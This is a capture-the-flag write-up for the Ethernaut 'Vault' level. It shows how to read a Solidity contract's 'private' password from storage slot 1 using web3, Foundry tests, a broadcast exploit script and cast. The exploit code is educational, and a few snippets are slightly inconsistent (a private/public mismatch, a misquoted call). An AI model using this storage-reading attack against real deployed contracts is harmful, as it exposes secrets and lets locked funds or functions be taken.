Skip to content
This repository has been archived by the owner on Dec 11, 2024. It is now read-only.

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

👾 08. Vault


tl; dr


  • this challenge explores the fact that if a state variable is declared private, it's only hidden from other contracts (i.e., it's private within the contract's scope).
    • in other words, a private variable's value is still recorded in the blockchain and is open to anyone who understands how the memory is organized.

  • remember that public and private are visibility modifiers, while pure and view are state modifiers.

  • before we start, it's worth talking about the four ways the EVM stores data, depending on their context:
    1. firstly, there is the key-value stack, where you can POP, PUSH , DUP1, or POP data.
      • basically, the EVM is a stack machine, as it does not operate on registers but on a virtual stack with a size limit 1024.
      • stack items (both keys and values) have a size of 32-bytes (or 256-bit), so the EVM is a 256-bit word machine (facilitating, for instance, keccak256 hash scheme and elliptic-curve computations).
    2. secondly, there is the byte-array memory (RAM), used to store data during execution (such as passing arguments to internal functions).
      • opcodes are MSTORE, MLOAD, or MSTORE8.
    3. third, there is the calldata (which can be accessed through msg.data), a read-only byte-addressable space for the data parameter of a transaction or call.
      • unlike the stack, this data is accessed by specifying the exact byte offset and the number of bytes to read.
      • opcdes are CALLDATACOPY, which copies a number of bytes of the transaction to memory, CALLDATASIZE, and CALLDATALOAD.
    4. lastly, there is disk storage, a persistent read-write word-addressable space, where each contract stores persistent information (and where state variables live), and is represented by a mapping of 2^{256} slots of 32 bytes each.
      • the opcode SSTORE is used to store data and SLOAD to load.


contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}


discussion


  • the first thing we see in the contract is the two state variables set as private.

bool private locked; 
bytes32 private password;

  • looking at the constructor, we see that password is given as input by whoever deploys this contract (and also setting the variable locked to True):

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  • finally, we look at the only function in the contract: it "unlocks" locked when given the correct password:

function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
}

  • there are many ways to solve this exercise, but the theory is the same: each smart contract has its own storage reflecting the state of the contract, which is divided into 32-byte slots.

  • a first approach is simply to call the well-known API web3.eth.getStorageAt(contractAddress, slotNumber), as we know the contract address and that password is on slot number 1:

> await web3.eth.getStorageAt("<contract address>, 1")


function load(address account, bytes32 slot) external returns (bytes32);

  • in particular, foundry's std storage library is a great util to manipulate storage.
    • from the foundry book, here is an illustration of how vm.load() works:

contract LeetContract {
     uint256 private leet = 1337; // slot 0
}

bytes32 leet = vm.load(address(leetContract), bytes32(uint256(0)));
emit log_uint(uint256(leet)); // 1337


solution


  • check test/08/Vault.t.sol:

contract VaultTest is Test {

    Vault public level;

    address instance = vm.addr(0x10053); 
    address hacker = vm.addr(0x1337); 

    function setUp() public {

        vm.prank(instance);    
    
    }

    function testVaultHack() public {

        vm.startPrank(hacker);
        
        bytes32 password = vm.load(instance, bytes32(uint256(1)));
        level = new Vault(password);
        level.unlock(password);
        assert(level.locked() == false);
        
        vm.stopPrank();
        
    }
}

  • run the test with:

> forge test --match-contract VaultTest -vvvv    

  • then submit the solution with script/08/Vault.s.sol:

contract Exploit is Script {
    address instance = vm.envAddress("INSTANCE_LEVEL8");  
    address hacker = vm.rememberKey(vm.envUint("PRIVATE_KEY"));   
    Vault level = Vault(instance);  
               
    function run() external {

        vm.startBroadcast(hacker);
        bytes32 password = vm.load(instance, bytes32(uint256(1)));
        level.unlock(password);
        vm.stopBroadcast();
    }
}

  • by running:

> forge script ./script/08/Vault.s.sol --broadcast -vvvv --rpc-url sepolia


alternative solution using cast


  • get the password with:

> cast storage <contract address> 1 --private-key=<private-key> --rpc-url=<sepolia url> 

  • run in the console:

> await contract.unlock(<password>)


pwned...




external resources